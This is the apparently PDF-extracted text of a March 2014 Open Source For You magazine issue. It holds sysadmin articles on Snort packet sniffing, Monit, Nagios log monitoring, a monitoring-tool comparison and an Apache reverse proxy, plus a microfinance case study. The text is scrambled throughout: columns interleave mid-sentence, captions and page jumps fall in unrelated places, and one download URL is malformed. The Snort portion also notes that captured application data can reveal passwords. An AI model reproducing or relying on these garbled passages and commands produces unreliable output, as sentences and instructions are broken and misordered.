This command instructs Snort to be verbose and display the results to the console using the eth0 interface (Ethernet). Figure 11: Sorting options on Hosts 192.168.1.2 -> 192.168.1.1 ICMP TTL:64 TOS:0x0 ID:275 ID:63745 Seq:0 ECHO 192.168.1.1 -> 192.168.1.2 ICMP TTL:255 TOS:0x0 ID:2323 ID:63745 Seq:0 ECHO REPLY

UDP: 0 (0.000%) ICMP: 2 (100.000%) ARP: 0 (0.000%) IPX: 0 (0.000%) OTHER: 0 (0.000%)

The output contains a lot of information that you may find useful. Here you can tell that there is an ICMP packet coming from 192.168.1.2 and going to 192.168.1.1, and that it is an ECHO packet. This is the result of what you might find from a ping to this address. Then there's the ECHO REPLY from your machine sent to 192.168.1.2. The packets also contain the date stamp so you can see when something happened. When you stop Snort, using CONTROL-C, you will see the following output:

Application layer data

Snort received 10 packets and dropped 0(0.000%) packets

To check the Ethernet information, you can use ‘-e’:

The breakdown, on the basis of protocols, is as follows: TCP: 0 (0.000%)

You can display the application layer data using Snort. This data is related to the data packets being transmitted across the network, and is also used to sniff the passwords flowing in the network. You can implement it by adding ‘-d’ to the command: snort -d -v -i eth0

Ethernet information snort -d -v -e -i eth0

Continued on page 60.... www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 57

Admin

How To

Monitor Your Network Effectively with Monit Monit is a utility for monitoring and managing programs, processes, files, directories and filesystems on UNIX and Linux systems. Monit monitors systems, maintains them automatically and even repairs them. This article deals with its installation and configuration.

o you want to know more about what to do if your server goes down? Well, if you have only a little or no idea about network monitoring but are willing to delve into it, Monit gives you a start with the minimum effort. At the very elementary level, an SNMP (Simple Network Management Protocol) relies on just two basic things—a management server and a managed device. The management server retrieves information from the managed devices and stores it in the information table. However, this data is useless until it's presented properly for the end user. For this, you need a network monitoring tool. And if you are a beginner, you can get nothing better than Monit to start with. According to Wikipedia, Monit “...is a free, open source process supervision tool for UNIX and Linux.” It is written in C by Tildeslash Ltd with its latest stable release being 5.5, and is licensed under the GNU General Public License 3.0. It gained popularity after its use with Ruby on Rails and the Mongrel Web server, since it suits the diverse needs of both. 58 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Features

Monit is an open source utility that is designed for the management and monitoring of the various processes and programs running at a time—the files, directories and more— on a Linux or UNIX system. Although it has a distinctly large number of features, what actually makes it different is its ability to conduct automatic maintenance, i.e., it can execute causal actions, automatically, at the time the error occurrs. The following are some features of Monit: It monitors the daemon processes or similar ones at the localhost. The daemon processes include programs such as Apache, MySQL, Sendmail and the like. It monitors files and directories on the localhost, and is useful in keeping a check on the MD5 or SHA1 checksum of files. It gives alerts if a change is detected. It monitors network connections to servers, whether it is on the localhost or on a remote server. It monitors general system resources on the localhost such as CPU usage, memory and much more.

How To

Admin

Monit can act automatically when an error occurs. For instance, if your Apache server is using too many resources, it can automatically restart Apache and send you an alert message.

Installation

Monit is meant for Linux and UNIX systems, so all you need to do is open your command line and type in the commands given below. It’s just that simple. For Debian-based Linux distros, the command is: Figure: Monitoring with the web interface $ sudo apt-get install monit

For RPM-based systems, such as Fedora, CentOS and more, you need to work a little harder. Let’s first install some prerequisites, as follows:

With the above configuration, you can browse to the location server.example.net:2812 from your browser, with username and password as the login credentials. Next, let’s configure Monit for email alerts, as follows:

$ yum -y install openssl* gcc $ yum install pam-devel $ yum install openssl-devel

set mailserver <smtp.example.net> username <smtp-username> password <smtp-password> set mail-format { from: server@example.net}

Now you need to download the latest version of Monit from http://mmonit.com/monit

In the above configuration, smtp.example.net is an SMTP server, whereas the smtp-username and smtppassword are your login credentials. Much of all this is self-explanatory.

$ cd /usr/src/ $ wget http://mmonit/monit/dist/monit-5.5.tar.gz

Extract the tar file now, as follows:

Monitoring the system

To monitor the general health and resources of the system, you need to append the lines below to the monitrc file:

$ tar zxvf monit-5.5.tar.gz

Compile from the source: $ cd monit-5.5/ $ ./configure $ make && make install

Configuring and running Monit

By now, your system is up with Monit, and ready to retrieve and display system information. Along with the other great features, Monit possesses a great Web interface on Port 2812. All you need to do now is edit the Monit config file monitrc located at / etc/monit/ , according to your information needs. Let's get started. First, you need to either edit the file or change file permissions by command, as the root user: $ chmod 0700 /etc/monit/monitrc

The very first thing you probably want to configure is enabling the Web interface. Just add the following commands: set httpd port 2812 and use address <server.example.net> allow <username>:<password>

check system <server.example.net> if loadavg(1min) > 4 then alert if loadavg(5min) > 2 then alert if memory usage > 75% then alert if swap usage > 25% then alert if cpu usage (user) > 70% then alert if cpu usage (system) > 30% then alert if cpu usage (wait) >20% then alert

Monitoring Apache Web server

To monitor Apache, you need to find the Apache process section in the monitrc file and uncomment it to produce the following result. Don't forget to take care of the pid file. check process apache2 with pidfile /var/run/apache2.pid start program = “/etc/init.d/apache2 start” with timeout 60 seconds stop program = “/etc/init.d/apache2 stop” if cpu > 60% for 2 cycles then alert if cpu > 80% for 5 cycles then restart if children > 250 then restart if loadavg(5min) greater than 10 for 8 cycles then stop if 3 restarts within 5 cycles then timeout group server www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 59

Admin

How To

Monitoring MySQL

To monitor a mysql instance, append the following to the monitrc file: check process mysql with pidfile /var/run/mysqld/mysqld.pid group database start program = “/etc/init.d/mysql start” with timeout 60 seconds stop program = “/etc/init.d/mysql stop” if failed host 127.0.0.1 port 3306 then restart if 5 restarts within 5 cycles then timeout

There is a lot more you can do with Monit by making effective changes to the configuration file monitrc. To do that, uncomment the commented commands in the file. Once done, don't forget to restart Monit from the terminal before entering its Web interface. Restart by typing in:

$ sudo service monit restart

Once you restart Monit, browse to server.example.net:2812 to view process monitoring with a Web interface that would look something like what’s shown in Figure 1.

Application

Monit has been used widely with popular Rail sites such as Twitter and Scribd. Apart from its use with Ruby and the Mongrel server, it can also be used to monitor system resources, Apache server, MySQL, SSH, nginx server and a lot more. Its unique capabilities that help it handle error situations, respond to services automatically and send alerts take Monit to the next level. Its enterprise edition, called M/Monit, can be deployed for large applications while ensuring better control. Undoubtedly, Monit ranks high among the various network monitoring tools available. References [1] http://en.wikipedia.org [2] http://mmonit.com/monit

By: Yatharth A Khatri The author is a FOSS lover and enjoys working on all types of FOSS projects. He is currently doing research on cloud computing and recent trends in programming. He is the founder of the project Brick the Code, which is meant to teach programming to kids in an easy and interactive way. You can reach him easily regarding FOSS issues at yatharth@brickthecode.org

Continued from page 57.... The switch can also be merged to make it easy: snort -dev -i eth0

ARP

Generally, you can see the IP packets. You can add ‘-a’ to see the ARP packets: snort –deva –i eth0

Identifying the network Figure 12: Options to start/stop the analysis

Often, you are required to log the packets relative to the network. To log the packets into directories where they are associated, use the ‘-h’ switch with the network address and the mask of home network. snort -dev -i eth0 -l $HOME/log -h 192.168.1.0/24

Packet tracers or sniffers are also used by the hacking community to analyse data packets, but such tools are very useful for network administrators. They can use these sniffers to analyse the type of packets flowing in their network infrastructure, resolve bandwidth issues, and study the port and its protocols. By: Dr Gaurav Kumar

Figure 13: Copy information including username, password for the captured packet 60 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

The author is the managing director, Magma Research and Consultancy Pvt Ltd, Ambala. He is associated with a number of academic institutes, where he delivers expert lectures and conducts technical workshops on the latest technologies and tools. He can be contacted at kumargaurav.in@gmail.com

Case Study

Admin

Microfinance Institution Grameen Koota Combats Roadblocks with Open Source Open source proved to be the proverbial magic wand for Bengaluru-based microfinance institution, Grameen Koota, as the company went the FOSS way to avoid exorbitant licensing costs and the huge expense of maintaining infrastructure.

The open source team at Grameen Koota

t’s not often that enterprises effectively manage to overcome the odds stacked against them and eventually succeed. But Bengaluru-headquartered Grameen Koota, a microfinance institution that provides financial services to economically weak clients, chose to tread the unexplored open source route to tackle issues like managing its basic operations and massive licensing costs. Today, Grameen Koota has grown to 161 branches and has a clientele of over half a million. The company was also ranked 19th in the first ever list of the top 50 microfinance institutions in the world by Forbes. Suresh K Krishna, managing director of Grameen Koota, talked about the company’s tryst with FOSS.

Making the right moves with FOSS

Since its inception in 1999 to the year 2007, the company was using specialised proprietary software called Portfolio Tracker for its Management Information System (MIS) that had been developed by Grameen Communications, Bangladesh. Grameen Koota received Rs 4.4 million initially as seed capital from the Grameen Trust that works in tandem with the Grameen Bank in Bangladesh. As the number of clients grew over a period of time,

the system could not cope with maintaining the transaction data. It was then that the company stumbled upon an open source financial software, MIFOS (Microfinance Open Source), an initiative by the Grameen Foundation, which is now widely used by the microfinance industry worldwide. The software helps microfinance institutions in client management, portfolio management, loan repayment tracking, fee and savings transactions, reporting and more. As Krishna explains, “Microfinance institutions handle large volumes of data as they cater to the needs of millions of small borrowers on a weekly basis. There was no off-the-shelf software to manage our portfolio. The ones available in the market either were offered by small software companies or there was the option of very expensive high-end banking software. The long term sustainability of the smaller firms was risky and we did not want to get locked in with a software company. The highend banking software was very expensive and we couldn’t afford it. Hence we began thinking about building software ourselves. But the risks were high and we might not have been able to build a state-of-art MIS system that could scale into the www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 61

Admin

Case Study

future, as we are not a software company.” “We found that MIFOS met all our needs. Now, we are not locked-in with any one software vendor and we do not have to pay any licence fees. The software is tailored to microfinance needs, built by specialists from across the world and has been built with advanced state-of-art platforms. So we jumped into supporting it, and became the first and currently the largest user of MIFOS,” says Krishna. According to Krishna, the biggest reason for the migration was that Portfolio Tracker was based on a decentralised model and the database uploads would be done periodically. With MIFOS, the entire database is centralised and updates are available on a real-time basis. Moreover, MIFOS is also very cost effective as it is open source.

open source community has a road map for upgrading MIFOS and periodically releases updates. Apart from this, our internal technology team manages the regular day-to-day support required for the smooth functioning of operations,” shares Krishna.

Tackling support issues with the help of the open source community

The IT managers of Grameen Koota interact with the open source community on a regular basis and seek help on various support issues. According to Krishna, “For most of the already deployed OSS, we have the internal technology team that manages support requirements. This team handles support issues to the greatest possible extent. In case it faces challenges in resolving things on its own, the team gets in touch with some of the supporting software companies like Conflux, Soldevelho, How does MIFOS work? Sungard, etc, depending on the nature of the MIFOS is a Web-based management information support required. We usually get a response system that streamlines the operations of from them within 24-48 hours.” microfinance institutions through its open “There is a regular bi-monthly call with the source technology platform, providing real-time entire development community, in which we information and the capacity to scale. MIFOS participate. We discuss our problems, challenges helps microfinance institutions operate more and needs with them. We also test the pieces efficiently and to drive a broader and deeper of code developed by them and provide them outreach to the poor. “MIFOS works just like any feedback. Apart from this, we have weekly core banking software as far as the loan portfolio interactions with a couple of community management is concerned. The workflows in contributors who are working closely with MIFOS have been defined keeping our group Suresh K Krishna, managing director of Grameen Koota our organisation in building the technology to lending processes in mind. All our customer data support our future needs. There is a dedicated team providing is aggregated in groups and centres,” says Krishna. us support to make this happen as part of our technology “The entire loan disbursement and collection process is roadmap,” explains Krishna. managed on MIFOS. We receive real time information of collections and disbursements as soon as the data is entered and submitted by any user. Reports are also configured and shared Challenges and the roadmap for the future with different users to track the disbursement, portfolio and The biggest challenge for Grameen Koota is the uncertainty recovery position, every day,” he adds. of future upgrades and sustained support for MIFOS. “We are continuing to work with the community on building sustained long term support structures around MIFOS. And if Saving moolah with FOSS you talk about the road ahead, we would say that open source Deployment of open source software has removed the need for is a great way of bringing down the costs of IT and also any licensing costs incurred on the MIS, yet enables Grameen being in control of the software. We believe it will continue Koota to cope with its current requirements (which include a to play an important role in shaping our technology and in tremendous increase in data volumes), manage new upgrades and support new product innovations. In short, MIFOS is the backbone our transformation into an increasingly technology-driven company,” says Krishna as he signs off. of the organisation. “The biggest advantages of the open source Grameen Koota has made some very smart moves to earn model are the licence cost savings, as well as the independence in high dividends in the industry it operates in—one of which was managing the application and its capabilities. Along with MIFOS, to migrate to the open source platform. It would be interesting to we also use an open source data base. The open source platform see how many more enterprises seize new opportunities with open also allows easy integration with third party applications, making source technology to back them, which could help them expand this process easier and smoother. MIFOS is built and maintained their business manifold. by an open source community. This group of contributors is managed by the Community for Open Source Microfinance By Priyanka Sarkar (COSM) from Seattle. There are many entities across the world, including software companies like Conflux Technologies, The author is a member of the editorial team. She loves to weave in and out the little nuances of life and scribble her Thoughtworks, Sunguard, Soldevelho, etc, that provide support thoughts and experiences in her personal blog. to us and also help us with modifications and enhancements. The 62 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

How To

Admin

Monitoring Log Files with Nagios Plugins

Plugins allow admins to monitor computer systems for errors in their functioning. The official Nagios package has 50 plugins to enable the monitoring of all basics. There are, however, more than 4000 Nagios plugins available to monitor every aspect of infrastructure. This article covers the installation of a plugin called check_logfiles.

he Nagios monitoring tool is one of the best open source solutions available to systems administrators to monitor servers and network elements. Using the Nagios framework, one can monitor servers, running processes, connected devices and network services. Also, it's easy to monitor custom applications. This article focuses more on monitoring the log files using a Nagios plugin. We hope you have already set up Nagios core, Nagios plugins and NRPE (Nagios Remote Plugin Executer).

Some of the features of the Nagios monitoring tool include: Monitoring of network services (SMTP, POP3, HTTP, NNTP, PING, etc) Monitoring of host resources (processor load, disk usage, etc) A simple plugin design that allows users to easily develop their own service checks Support for implementing redundant monitoring hosts Contact notifications when service or host problems occur and get resolved (via email, SMS, or a userdefined method)

Overview of Nagios plugins

Unlike many other monitoring tools, Nagios does not include any internal mechanisms for checking the status of hosts and services on the network. Instead, it relies on external programs (called plugins) to collect the data. Plugins are compiled executables or scripts that can be executed from the command line to check the status of a host or a service. Nagios uses the results from plugins to determine the current status of hosts and services on the network. Nagios will execute a plugin whenever there is a need to check the status of a service or host. The plugin

performs the check and then simply returns the results for processing. Nagios will process the results that it receives from the plugin and take any necessary action (running event handlers, sending out notifications, etc).

Plugins as an abstraction layer

Plugins act as an abstraction layer between the monitoring logic present in the Nagios daemon and the actual services and hosts that are being monitored. Refer to Figure 1 for Plugins abstraction layer.

Available plugins

Currently, there are plugins available to monitor many different kinds of devices and services, including: HTTP, POP3, IMAP, FTP, SSH and DHCP CPU load, disk usage, memory usage, current users UNIX/Linux, Windows servers Routers and switches

Installing a plugin for log monitoring

Let’s consider the SSH server installed at the client side for monitoring the log files using Nagios. There are several monitoring plugins available for Nagios, so let’s go with the widely used check_logfiles to monitor the log files for the SSH server. check_logfiles has some extra features compared to the default monitoring plugin: 1) It detects the log rotations and scans within the rotated archives as well. 2) More than one pattern can be defined, which can be classified as warning patterns and critical patterns. 3) check_logfiles lets you call scripts either after every hit, at the beginning or at the end of its runtime. www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 63

Admin

How To

4) The plugin works with UNIX as well as with Windows.

Nagios Process

Installation

The plugin can be built and installed on a GNU/Linux-based system (such as CentOS). Download the plugin file check_ logfiles-3.6.1.tar.gz and unzip it to a folder. Once you have installed the required software packages, building is simple. Follow the steps given below to start the installation. The plugin has to be installed at both the server and the client side. We have installed CentOS 6.4 at both server and client side. The installation and configuration procedure will work on other Linux distributions as well. [root@nagiosserver]#tar xvfz check_logfiles-3.6.1.tar.gz [root@nagiosserver]#cd check_logfiles-3.6.1 [root@nagiosserver check_logfiles-3.6.1]#./configure [root@nagiosserver check_logfiles-3.6.1]#make [root@nagiosserver check_logfiles-3.6.1]#make install

Check Logic

Monitoring Logic

Embedded Perl Interpreter

Plugins

Perl Plugins

Hosts and Services

Monitoring Abstraction Layer

Monitored Entites

Figure 1: Plugin abstraction layer

Configuring a service for monitoring

On the server side Step 1: After installing the check_logfiles plugin, change the ownership of check_logfiles file to Nagios. Step 2: For monitoring the log file at the remote client running the SSH server, define the service in /usr/local/ nagios/etc/objects/nagiosclient.cfg file. In this set-up, I have named the remote Linux client as nagiosclient. So I have created the configuration file nagiosclient.cfg for the same. Step 3: Reload the Nagios service.

Figure 2: Define a service

[root@nagiosserver]#service nagios reload

Refer to Figure 2 for step-by-step instructions. On the client side Step 1: Change the ownership to Nagios for the check_ logfiles file located in /usr/local/nagios/libexec. Step 2: Add the following line to the nrpe.cfg file located in /usr/local/nagios/etc. Command [check_logfiles]=/usr/local/nagios/libexec/check_ logfiles --config /usr/local/nagios/libexec/logs.cfg

Step 3: Create the logs.cfg file under /usr/local/ nagios/libexec and change the ownership to Nagios and permission (755). Step 4: Change the group ownership (nagios) and permission (g+r) to the log file /var/log/secure. Step 5: Restart the xinetd service. [root@nagiosclient]#service xinetd restart

Refer to Figure 3 for step-by-step instructions. We also attempted an SSH login with the wrong password to see the plugin’s behaviour. 64 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Figure 3: Client configuration

In this example, I have defined a service, and configured a Linux client to monitor the SSH log file and generate a warning if there are any authentication failures. Similar steps can be followed to configure other such services (Apache, for instance) and log files to be monitored by the Nagios system. I would recommend that you refer to the URLs given below for more insight into the check_logfiles plugin. References [1] http://www.nagios.org [2] http://labs.consol.de/nagios/check_logfiles/ [3] http://exchange.nagios.org/directory/Plugins/Log-Files [4] http://exchange.nagios.org/directory/Plugins/OperatingSystems/Linux/check_logfiles/details

By: Kannan K and Avinash Bendigeri Kannan K and Avinash Bendigeri work as software development engineers at the Dell India R&D Centre in Bengaluru. Kannan has eight years of experience in the Linux and virtualisation domains, and is interested in networking and security technologies. Avinash is interested in the automation and systems management domains.

Overview

Admin

Choose the Best Network Monitoring Tool for Your Needs Explore three network monitoring tools – Nagios, Zabbix and Zenoss - and evaluate their pros and cons in order to make an informed decision about which one to use.

developer or a network manager needs to manage application servers and could get confused about which monitoring tool to use. In this article, let’s look at the pros and cons of some of the most popular network monitoring tools. One can’t escape monitoring when it comes to managing servers. Something really reliable is needed; otherwise, things won’t work the way they should. There are many monitoring tools out there, like some that use other administrators, and some that use text-based monitoring tools like Cricket; but these do not qualify as they are quite unreliable with respect to SNMP (Simple Network Management Protocol) . So, from experience, I’ve shortlisted the best monitoring tools to just three—Nagios, Zabbix and Zenoss. Let's explore their pros and cons, which could help you decide on which is the best one for you. Let's get started.

Nagios

This network monitoring tool was first released in March 1999, and is maintained by Ethan Galstad and other developers. Having proved its strength over so many years, it remains one of the best in the category. Originally designed to work on Linux, today it supports many UNIX variants.

The pros

It is open source. Has a large community of developers to make it better, continuously. Adding new features is easy with plug-ins being available. If you don't find one you need, writing one for yourself with your own language tool is hardly a problem (shell scripts, PHP, Perl, Python, Ruby, C++ and more). It has a great optional Web interface for viewing current network status, notifications, log files, etc. www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 65

Admin

Overview

It monitors host resources comprising most network operating systems, including Microsoft Windows. The NagVis plugin comes with an interactive editor.

The cons

Text configuration isn't a good idea. You must stick to the Web interface. However, there too, some views aren't very logical. Third party or, rather, unofficial releases of the available plug-ins are poorly programmed and are without proper documentation. You must either use official releases or program plug-ins of your own. Nagios Remote Plugin Executor (NRPE) can do checks on remote servers, but causes a lot of load on the server. It provides alerts for each notification. But if you want to test on all 30 languages supported by your server, your inbox will be flooded with alerts.

Zabbix

Developed by Zabbix SIA and written in C, PHP and Java, Zabbix is an enterprise-class open source network monitoring tool created by Alexei Vladishev. If you are on Linux, or more specifically, a Debian-based distro, Zabbix will prove to be awesome. However, it needs tweaking in certain aspects to work well anywhere.

The pros

It offers high performance with high capacity, and is capable of monitoring thousands of devices. Great Web interface with JMX, as well as Web monitoring with secure user authentication and flexible permissions. It sends useful notification messages such as ‘Low Disk Space on /var on server2’ along with SMS alerts—features that are highly configurable. Real-time charts. Collected data is stored in databases (MySQL, PostgreSQL, SQLite, Oracle, IBM DB2). Client software for Linux, Solaris, HP-UX, AIX, FreeBSD, OpenBSD and various versions of Windows such as XP, Vista 7, Server 2008 and more. Paid support and paid custom programming available, along with great documentation and downloadable PDFs with screenshots.

The cons

It takes a little more time to understand its concepts compared to other tools. The feature-rich Web interface may seem to be complex and confusing for casual users. The map editor may seem to be virtually unusable. Though it improves with use, it still lacks some basic features like adding values to the folder. Zabbix is painful when you need to monitor things. Templates are pretty useless here, particularly when 66 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

displaying pretty similar aspects, and are not as clear as they should be. Can only return one value per item. While Nagios returns OK/WARNING/ALERT and a text string, Zabbix doesn’t. It has different items. Difficult to debug.

Zenoss

Developed and maintained by Zenoss Inc, according to Wikipedia, “Zenoss is a free and open source application, server, and network management platform based on the Zope application server.” Its development started in 2002, and since then it has grown to become one of the leading network monitoring tools.

The pros

Like all other network monitoring tools, Zenoss has a Web interface too. But what Zenoss offers is quite different—a beautiful interface, which is much easier to understand and quite interactive. Integration of Google Maps to show your servers worldwide. Works well with great reliability on SNMP, SSH and WMI (Windows Management Instrumentation). Offers time-series performance monitoring of devices and event management tools to annotate alerts. Has extended Microsoft Windows monitoring via WMI. Supports the Nagios plug-in format.

The cons

Limited features available in the open source version. Full version needs to be paid for. Though the Web interface is amazing, it's quite slow compared to others, probably because Zope is bloated. You cannot figure out what's working. You can, however, add monitors and checks later to find out. Awkward configurability. Though Nagios, Zabbix and Zenoss have some negative aspects, it’s the users who must decide what best fits their needs. Zabbix does suit Linux extremely well, but ultimately, you should go for what fulfils your needs better. References [1] http://en.wikipedia.org [2] http://dennisarslan.nl

How To

Admin

Set Up a Reverse Proxy in Apache Read on to learn how to set up and configure a reverse proxy.

he Apache HTTP Web server is extremely popular, and is used by most enterprises and start-ups for their front facing servers. More commonly known as just Apache, it was developed by the Apache Software Foundation and was released in 1995. The most recent and stable version is 2.4.7, which was released in November last year. Apache is open source software and is available for most of the major operating systems, including UNIX, Linux, OS X, Microsoft Windows, etc. Let’s now explore how to install Apache HTTP server and configure it to set up a reverse proxy on it. Before proceeding to the actual set-up and configuration, I would like to explain what a reverse proxy is. According to Wikipedia, “A reverse proxy is a type of proxy server that retrieves resources on behalf of a client from one or more (internal) servers.” In reality, the actual resources might be getting fetched from different internal servers, but the client will not be aware of it. For the client, it will appear as though those resources were generated from the server itself. To understand the scenario, consider the example shown in Figure 1. Generally, this job is done by a dedicated proxy server. But it may not be possible to have a dedicated proxy server always. Hence, we can use the Apache HTTP server to act as a proxy server. Reverse proxies come with a lot of benefits. As mentioned on Wikipedia, the following are the major advantages of using reverse proxies: 1. Reverse proxies can hide the existence and

characteristics of an origin server or servers. 2. Application firewall features can protect against common Web-based attacks. Without a reverse proxy, removing malware or initiating takedowns, for example, can become difficult. 3. In the case of secure websites, a Web server may not perform SSL encryption itself, but instead offload the task to a reverse proxy that may be equipped with SSL acceleration hardware. (See SSL termination proxy.) 4. A reverse proxy can distribute the load from incoming requests to several servers, with each server serving its own application area. In the case of reverse proxying in the neighbourhood of Web servers, the reverse proxy may have to rewrite the URL in each incoming request in order to match the relevant internal location of the requested resource. 5. A reverse proxy can reduce the load on its origin servers by caching static content, as well as dynamic content—also known as Web acceleration. Proxy caches of this sort can often satisfy a considerable number of website requests, greatly reducing the load on the origin server(s). 6. A reverse proxy can optimise content by compressing it in order to speed up loading times. 7. In a technique known as ‘spoon feeding’, a dynamically generated page can be produced all at one time and served to the reverse-proxy, which www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 67

Admin

How To

can then return it to the client a little bit at a time. The program that generates the page need not remain open, thus releasing server resources during the possibly extended time the client requires to complete the transfer. 8. Reverse proxies can operate whenever multiple Web servers need to be accessible via a single public IP address. The Web servers listen on different ports in the same machine, with the same local IP address or, possibly, on different machines and different local IP addresses altogether. The reverse proxy analyses each incoming request and delivers it to the right server within the local area network. 9. Reverse proxies can perform multiple other forms of testing without placing JavaScript tags or code into pages. 10. The reverse proxy concept is also used in search engine marketing to automatically embed a destination website with usage tracking code that can be used for campaign reporting or campaign optimisation. This is typically accepted as being bad practice. Let us now go on to achieve Points 4 and 8 from the above list. So our objective is to primarily configure Apache such that it can cater to multiple application servers with only one public IP address. Also, we will look at how to rewrite URLs so that the client doesn’t know about any internal server. In this article, I will consider Fedora as the operating system installed on my server. Similar functionality can be achieved with any of the OSs that are supported by Apache. First, to install Apache HTTP server, run the following command either as the root user, or run the command with sudo:

Internet

Proxy Server

Web/ Application Server(s)

Internal Network Figure 1: Selecting the interface list for packet analysis

Here, you will see a file called httpd.conf. This file is where all the magic happens. If you are working with a different OS, the file’s location will be different, but essentially you need to search for this file only: httpd.conf. First, let’s check which default port has been listed inside this conf file. Look for a line similar to the following: Listen 80

This is the default port on which Apache server is listening. Based on which port is open for your public IP, you can simply change this port number here. For example, if your port number is 6500, change the number next to ‘Listen’: Listen 6500

Next, to check if the server is actually up and running, type the following command in the terminal: netstat –tulpn | grep :portNumber

…where portNumber is the port number that you have set in the httpd.conf file. If the server is running, you will get an output as shown below:

yum install httpd

Based on the host OS, it will depend whether the ‘yum’ command has to be used or not. There are binaries available for direct installation as well. ‘httpd’ basically stands for Hypertext Transfer Protocol Daemon. Since the Apache Web server works on HTTP standards and the server always runs as a daemon (a background process), the package was named as httpd. Now that the server is installed, let’s just get it going:

tcp6 LISTEN

0 :::6500 61974/httpd

:::*

…where 6500 is the port number and 61974 is the PID (process ID) for the httpd daemon. Now that the server is up and running, let’s do the reverse proxy and URL rewriting configuration. First, ensure that the following line is not commented in the conf file: Include conf.modules.d/*.conf

/etc/init.d/httpd start ## OR ## service httpd start

The default port of Apache is 80. This can be found in the httpd.conf file inside the Apache folder. On a Linux system, simply browse to the following location: cd /etc/httpd/conf 68 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Next, we need to create a new module tag for the mod_ rewrite.c module. Preferably, let’s add this at the bottom of the file so that in case we face an error, we know where to look for it: <IfModule mod_rewrite.c> RewriteEngine On </IfModule>

How To This block is where we will write all our redirection rules. For testing purposes, start any of the application servers that you may have on any of the internal servers. Let’s assume that our public IP address is a.b.c.d:6500 and let’s take two application servers, one running Tomcat on 10.0.0.1 on Port 8080 and another running the nodejs server on 10.0.0.2 on Port 3000. Now, to add rules for these two application servers, simply modify the above code block: <IfModule mod_rewrite.c> RewriteEngine On #Tomcat Rewriting Rules #Matching pattern for sampleWebAppOne, to redirect to local tomcat server running on 8080 port RewriteRule ^/sampleWebAppOne /(.*)$ http://10.0.0.1:8080/sampleWebAppOne /$1 [L,P] #Nodejs Rewriting Rules #Matching pattern for sampleWebAppTwo, to redirect to local nodejs server running on 3000 port RewriteRule ^/sampleWebAppTwo /(.*)$ http://10.0.0.2:3000/sampleWebAppTwo/$1 [L,P] </IfModule>

Admin

## OR ## service httpd restart

If everything is fine, the server will restart gracefully without any errors. To confirm if the server is up and running, type the following command: netstat –tulpn | grep :portNumber

Next, try accessing any of the resources on the Tomcat server or the nodejs server using the requests with the public IP and the respective port. If the rewriting was successful, you will be able to access those resources without seeing a change in the IP in the address bar. This means you have achieved reverse proxy configuration along with URL rewriting to cater to requests from a single public IP, without exposing the internal servers. By: Manit Singh Kalsi The author works as a mobile evangelist in the Mobility Center of Excellence at Genpact Headstrong Capital Markets. He is a Java and JavaScript developer who enjoys exploring new technologies and frameworks. When not coding, he is either strumming his guitar or playing video games. Follow him @manitsinghkalsi

mod_rewrite is nothing but regex magic. Here, we are matching request patterns and redirecting those requests to other local internal servers based on the matched patterns. For the sampleWebAppOne, we send a request like the following: http://a.b.c.d:6500/sampleWebAppOne/someResource

So this request gets translated based on the pattern that we have written above. The regex is looking for a pattern that matches ‘/sampleWebAppOne/’ and any number of characters following it. Next, if the pattern matches, this request is redirected to the internal server. Here, whatever falls into the category of ‘any number of characters following it’ gets passed to ‘$1’. So, the above request gets translated to: http://10.0.0.1:8080/sampleWebAppOne/someResource

So is the case for the nodejs server rule. Next, there are specific flags that can be used with these rules. In our rules, we have used the flags [L,P]. The meaning of the L flag is that if the rule matches, no other rules should be processed. The P flag redirects the request to mod_proxy. This is how we achieve the reverse proxy configuration. Using this, we can map the remote content into the namespace of the local server without exposing the local server to the public. Finally, to test these, first restart the Apache server: /etc/init.d/httpd restart www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 69

Admin

Overview

Rainmail Intranet Server A Complete IT Set-up for the Enterprise One of the key aspects of a growing business is its IT infrastructure. Addressing this effectively has always been a major challenge for systems administrators. Here is software that helps you in handling all your intranet requirements.

ainmail Intranet Server (RIS) is a bundle of software that provides the complete intranet and network infrastructure to enterprises. The package provides you with a solution that does away with the traditional problem of procuring multiple packages, and then integrating and co-ordinating them for support. This Linux-based application started off as a basic mail and proxy server and, over time, it has added features to become a complete intranet server, based on the feedback of users. RIS broadly performs the following IT infrastructurerelated functions: Security: Antivirus/anti-spam protection, firewall, proxy server, VPN, bandwidth manager and bandwidth aggregator Messaging suite: Email server, fax server, instant messaging and audio video conferencing Storage suite: File server and Web server RIS is a complete package for setting up infrastructure for an enterprise. It comes with a high-end support system, provided in the form of chat, email, phone and onsite support by Carizen's support offices at Chennai, Mumbai and New Delhi. 70 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

System requirements

The minimum system requirements for running the server are listed below: Intel Xeon or Core2Duo processor 4 GB RAM or higher (8 GB is recommended) DVD ROM drive Gigabit network cards

Why RIS?

One of the major reasons to choose RIS is the hassle-free installation and the user-friendly GUI-based administration of the server. RIS is based on tried and tested open source tools like Qmail, Fetchmail, Apache, Samba, bind and iptables. Apart from being open source, these applications are robust, affordable and reliable for the production environment too. A single administrative console/GUI is provided with RIS, which can be used to configure all servers included in the application. This ensures an easy learning curve for RIS, so administrative tasks can be performed even by users with little or no knowledge of Linux. Now let us look at a few of the key components of

Overview RIS that make it the right choice for setting up your IT infrastructure.

The email server

The RIS email server is based on Qmail, which is still one of the most popular, secure and fast mail transfer agents (MTAs) available on the Internet today. This ensures that the email server can be scaled right from 10 users to 1 million users as the organisation's needs increase. The email server included in RIS is a robust messaging system with an easy-to-use graphical user interface. It also offers a host of functions including Ajaxbased Webmail, POP/IMAP/SMTP support, spam control, host forwarding, address forwarding and auto reply.

Proxy server

